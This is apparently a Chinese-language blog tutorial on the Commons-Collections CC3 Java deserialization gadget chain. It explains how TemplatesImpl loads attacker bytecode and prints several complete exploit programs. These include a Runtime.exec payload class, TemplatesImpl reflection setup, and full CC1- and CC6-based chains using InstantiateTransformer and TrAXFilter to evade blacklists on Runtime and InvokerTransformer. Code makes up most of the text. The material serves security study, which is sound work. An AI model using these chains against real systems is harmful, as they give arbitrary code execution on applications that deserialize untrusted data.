'Java反序列化-cc3'

前言

原本的 CC1 链与 CC6 链是通过 Runtime.exec() 进行命令执行的。
而CC3 链这条链子,是使用 类加载机制 来执行恶意代码的。
可以理解为cc1 cc6是命令执行;而cc3是代码执行。

环境

  • jdk8u65
  • Commons-Collections 3.2.1

TemplatesImpl解析

前提知识:利用 ClassLoader#defineClass 直接加载字节码。
忘记的了同学,可以去看,java反序列化-基础中的 类加载流程(调试) 部分。

ClassLoader.loadClass() --> ClassLoader.findClass() --> ClassLoader.defineClass()

1
2
3
4
5
6
@Deprecated
protected final Class<?> defineClass(byte[] b, int off, int len)
throws ClassFormatError
{
return defineClass(null, b, off, len, null);
}

可以看到defineclass方法为protected,所以我们需要找到重写它为public的地方,才能调用此方法。

调试部分:

直接find usages找 defineClass(
找到TemplatesImpl类的defineClass方法。

1
2
3
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}

这里的 defineClass() 方法没有标注作用域,默认为 defalut,也就是说自己的类里面可以调用,我们继续 find usages

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
private void defineTransletClasses()
throws TransformerConfigurationException {

if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

最终找到它在自己的defineTransletClasses方法下,调用了defineClass方法。

因为作用域是 private,所以我们看一看谁调用了 defineTransletClasses() 方法
然后找到getTransletInstance方法调用了defineTransletClasses方法,并且代码中使用newInstance方法进行实例化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
//_class 获取类,_transletIndex下标,
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

getTransletInstance函数还是私有的,所以继续找。
找到了newTransformer方法,并且还是public。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}

if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

TemplatesImpl利用

当前小链:TemplatesImpl.newTransformer() --> defindclass -->newInstance。

1
public final class TemplatesImpl implements Templates, Serializable {

在分析过程我们说到只要走过 getTransletInstance() 方法即可,因为这个方法内调用了 newInstance() 方法,用伪代码来表示的话如下。

1
2
3
4
5
public static void main(String[] args) throws TransformerConfigurationException {
TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();

}

追踪代码查看其限制。

1
2
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

追踪getTransletInstance

两个判断:
1、如果_name 为 null,则返回null,后续不再执行,也就无法调用newInstance() 实例化。
2、我们需要让 _classs 的值为空,才能进入调用 defineTransletClasses()。

然后才能进入newInstance方法。

跟进defineTransletClasses(),_bytecodes不能为null。
tfactory是个方法,所以也不能为null。

解决if

因为TemplatesImpl类是public,并且继承了Serializable。所以我们直接反射调用即可。

1
private String _name = null;

name 的值,这里需要的是 String,所以我们简单赋个 String 即可。

1
2
3
4
5
TemplatesImpl templates = new TemplatesImpl();
Class aClass = templates.getClass();
Field nameField = aClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");

class 的值应当为 null,我们去看 TemplatesImpl 的构造方法中没有给 class 赋初值,所以不用管它。

然后我们看bytecodes:

1
private byte[][] _bytecodes = null;
1
2
3
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}

bytecodes 的值,这里需要的是一个二维数组,所以我们创建一个二维数组。但是 bytecodes 作为传递进 defineClass 方法的值是一个一维数组。而这个一维数组里面我们需要存放恶意的字节码。这一段伪代码可以这样写。

简单来说:把一个一维数据封装到二维数组中。
创建恶意类并编译:

1
2
3
4
5
6
7
8
9
10
11
12
13
import java.io.IOException;

public class Calc {
static {
try {
Runtime.getRuntime().exec("calc");

}catch (IOException e) {
e.printStackTrace();
}
}
}

javac Calc.java

1
2
byte[] evil = Files.readAllBytes(Paths.get("F:\\code\\CCTest\\src\\main\\java\\Calc.class"));
byte[][] codes = {evil};

所以这部分的代码为:

1
2
3
4
5
Field bytecodesField = aClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("F:\\code\\CCTest\\src\\main\\java\\Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

接下来看tfactory

1
private transient TransformerFactoryImpl _tfactory = null;

tfactory的关键字是transient,赋值无意义,这就意味着序列化之后无法被访问。
直接修改是不行的,但是我们这里的利用要求比较低,只要让 tfactory 不为 null 即可,我们去看一看 tfactory 的其他定义如何。

既然在defineTransletClasses中去调用了tfactory getExternalExtensionsMap方法,而且还是transient,所以直接从readobject中去找他。

在 readObject() 方法中,找到了 tfactory 的初始化定义。

这时tfactory 不为null,所以直接在反射中为其赋值为 TransformerFactortImpl 即可,伪代码如下:

1
2
3
Field tfactoryField = aClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

预期exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
TemplatesImpl templates = new TemplatesImpl();
Class aClass = templates.getClass();

Field nameField = aClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"zer0");

Field bytecodesField = aClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("F:\\code\\CCTest\\src\\main\\java\\Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = aClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

templates.newTransformer();

报错解决:

上图为空指针报错,我们去看第一行报错,在TemplatesImpl类的defineTransletClasses

在393行,if (_bytecodes == null) {打断点进行调试。

最终在422行,发现_auxClasses报错NullPointerException,他的值为null。

此时两种方法:
1、让他equals符合判断,直接走到下一个if (_transletIndex < 0),不进else。
2、给_auxClasses赋值,使其不为null。

但是我们发现即使给auxClasses赋值,transletIndex的值为-1,还是会跳出程序。

所以我们采用第一种方法。

看418行代码,判断defineClass传入的父类(这里为TemplatesImpl TransletClassLoader它的父类为java.lang.object)名称,是否继承了ABSTRACT_TRANSLET这个父类。

1
2
3
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
1
2
private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

也就是说,我们执行恶意代码的类,需要继承AbstractTranslet。

解决报错:
跟一下AbstractTranslet类。

1
public abstract class AbstractTranslet implements Translet {

他是一个abstract抽象类,所以我们要实现他的抽象方法。
搜索abstract,发现方法transform(610行)。

1
2
3
public abstract void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler)
throws TransletException;

实现该方法。

编译,把编译好的target\classes\calc.class放到我们之前指定的目录中。

F:\code\CCTest\src\main\java\Calc.class

再次运行exp

CC1 链的 TemplatesImpl 的实现方式

TemplatesImpl 只是将原本的命令执行变成代码执行的方式所以在不考虑黑名单的情况下,如果可以进行命令执行,则一定可以通过动态加载字节码进行代码执行。

前面的链子不变,只是最后执行runtime的方法变了。

构造暂时的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
TemplatesImpl templates = new TemplatesImpl();
Class aClass = templates.getClass();

Field nameField = aClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"zer0");

Field bytecodesField = aClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("F:\\code\\CCTest\\src\\main\\java\\Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = aClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

//templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(1);

最后一句,传入 chainedTransformer.transform(1) 是因为前面我们定义了 new ConstantTransformer(templates),这个类是需要我们传参的,传入 1 即可。

也就是说这里也能这样加载

1
2
3
4
5
6
        Transformer[] transformers = new Transformer[]{
// new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(templates);

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3Test {
public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
TemplatesImpl templates = new TemplatesImpl();
Class aClass = templates.getClass();

Field nameField = aClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"zer0");

Field bytecodesField = aClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("F:\\code\\CCTest\\src\\main\\java\\Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = aClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

//templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(templates);

HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(objectObjectHashMap, chainedTransformer);

Class<?> annotClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> AnnotationdeclaredConstructor = annotClass.getDeclaredConstructor(Class.class, Map.class);
AnnotationdeclaredConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) AnnotationdeclaredConstructor.newInstance(Override.class, decorateMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);

Object o = AnnotationdeclaredConstructor.newInstance(Override.class, mapProxy);



// serialize(o);
unserialization("./2.ser");


}



public static void serialize(Object obj) throws IOException {
ObjectOutputStream out_obj1 = new ObjectOutputStream(new FileOutputStream("./2.ser"));
out_obj1.writeObject(obj);
out_obj1.close();
// System.out.println(obj);
}

public static Object unserialization(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream obj2 = new ObjectInputStream(new FileInputStream(Filename));
Object ois = obj2.readObject();
return ois;
}
}


CC6 链的 TemplatesImpl 的实现方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3Test {
public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
TemplatesImpl templates = new TemplatesImpl();
Class aClass = templates.getClass();

Field nameField = aClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"zer0");

Field bytecodesField = aClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("F:\\code\\CCTest\\src\\main\\java\\Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = aClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

//templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(templates);

HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Map LazydecorateMap = LazyMap.decorate(objectObjectHashMap, new ConstantTransformer(1));

TiedMapEntry TiedMapget = new TiedMapEntry(LazydecorateMap, "aaa");

HashMap<Object, Object> HashMap1 = new HashMap<>();
HashMap1.put(TiedMapget,"bbbb");
LazydecorateMap.remove("aaa");

Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(LazydecorateMap, chainedTransformer);


// serialize(HashMap1);
unserialization("./2.ser");


}



public static void serialize(Object obj) throws IOException {
ObjectOutputStream out_obj1 = new ObjectOutputStream(new FileOutputStream("./2.ser"));
out_obj1.writeObject(obj);
out_obj1.close();
// System.out.println(obj);
}

public static Object unserialization(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream obj2 = new ObjectInputStream(new FileInputStream(Filename));
Object ois = obj2.readObject();
return ois;
}
}


同理不再描述,流程都差不多。

yso的链子

以上说的都是:黑名单会过滤runtime,所以我们可以使用templatesImpl类加载。
接下来说的是:黑名单会过滤invokerTransformer.transform的解决方案。

所以我们找谁调用了TemplatesImpl 类的 newTransformer() 方法。
说一下这几个方法。
1、Process main里面,是作为一般对象使用的,所以不选择它。
2、getOutProperties,是反射调用的方法,可能会在fastjson漏洞里被调用。
3、TransformerFactoryImpl 不能序列化,如果还想使用它也是也可能的,但是需要传参,我们需要去找构造函数。而它的构造函数难传参。

1
2
3
4
5
6
/**
* javax.xml.transform.sax.TransformerFactory implementation.
*/
public TransformerFactoryImpl() {
this(true);
}

所以最终选择TrAXFilter。

没有继承serializable,不可序列化,构造函数传参为templates。(这里不可序列化的话,可以跟runtime一样:class是可以序列化的(cc1中使用的ConstantTransformer加载runtime.class),然后通过反射将其变成可以序列化的形式。)

所以我们只要执行这个类的构造函数即可命令执行。

作者使用一个新的类 InstantiateTransformer,用来绕过invokerTransformer的限制。

我们去找 InstantiateTransformer 类下的 transform 方法。

1
2
3
4
5
6
7
8
9
10
11
public class InstantiateTransformer implements Transformer, Serializable {

public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);

该类继承了Serializable。

transform方法,判断传入的参数class类为空,则抛出异常。
class不为空的话,获取指定参数的构造器 赋值给con,利用newInstance调用构造函数。

1
public static Transformer getInstance(Class[] paramTypes, Object[] args) {

两个参数,第一个class数组,第二个object数组

伪代码构造:

1
2
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

调用InstantiateTransformer transform方法。传入transform对象。
伪代码:

1
2
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);

后半部分的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
TemplatesImpl templates = new TemplatesImpl();
Class aClass = templates.getClass();

Field nameField = aClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"zer0");

Field bytecodesField = aClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("F:\\code\\CCTest\\src\\main\\java\\Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = aClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());


InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);

CC1 链作为前半部分

这段 EXP 在序列化的时候是没问题的,在反序列化的时候报错了,报错说我们传入 instantiateTransformer 是一个字符串而不是一个类。
cc1的老毛病,setValue() 的传参无法控制,需要引入 Transformer 与 ChainedTransformer 加以辅助。

解决后的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3Test {
public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
TemplatesImpl templates = new TemplatesImpl();
Class aClass = templates.getClass();

Field nameField = aClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"zer0");

Field bytecodesField = aClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("F:\\code\\CCTest\\src\\main\\java\\Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = aClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


// instantiateTransformer.transform(TrAXFilter.class);


// chainedTransformer.transform(templates);
//
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Map LazydecorateMap = LazyMap.decorate(objectObjectHashMap,chainedTransformer);

Class<?> annotClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> AnnotationdeclaredConstructor = annotClass.getDeclaredConstructor(Class.class, Map.class);
AnnotationdeclaredConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) AnnotationdeclaredConstructor.newInstance(Override.class, LazydecorateMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);

Object o = AnnotationdeclaredConstructor.newInstance(Override.class, mapProxy);

// serialize(o);
unserialization("./2.ser");


}



public static void serialize(Object obj) throws IOException {
ObjectOutputStream out_obj1 = new ObjectOutputStream(new FileOutputStream("./2.ser"));
out_obj1.writeObject(obj);
out_obj1.close();
// System.out.println(obj);
}

public static Object unserialization(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream obj2 = new ObjectInputStream(new FileInputStream(Filename));
Object ois = obj2.readObject();
return ois;
}
}


CC6 链作为前半部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3Test_cc6 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
Class aClass = templates.getClass();

Field nameField = aClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"zer0");

Field bytecodesField = aClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("F:\\code\\CCTest\\src\\main\\java\\Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = aClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Map LazydecorateMap = LazyMap.decorate(objectObjectHashMap, new ConstantTransformer(1));

TiedMapEntry TiedMapget = new TiedMapEntry(LazydecorateMap, "aaa");

HashMap<Object, Object> HashMap1 = new HashMap<>();
HashMap1.put(TiedMapget,"bbbb");
LazydecorateMap.remove("aaa");

Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(LazydecorateMap, chainedTransformer);

// serialize(HashMap1);
unserialization("./2.ser");


}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out_obj1 = new ObjectOutputStream(new FileOutputStream("./2.ser"));
out_obj1.writeObject(obj);
out_obj1.close();
// System.out.println(obj);
}

public static Object unserialization(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream obj2 = new ObjectInputStream(new FileInputStream(Filename));
Object ois = obj2.readObject();
return ois;
}
}

小结(流程图)

整理下cc链 学习到现在的一个流程图。
包含 cc1两条 cc6 cc3。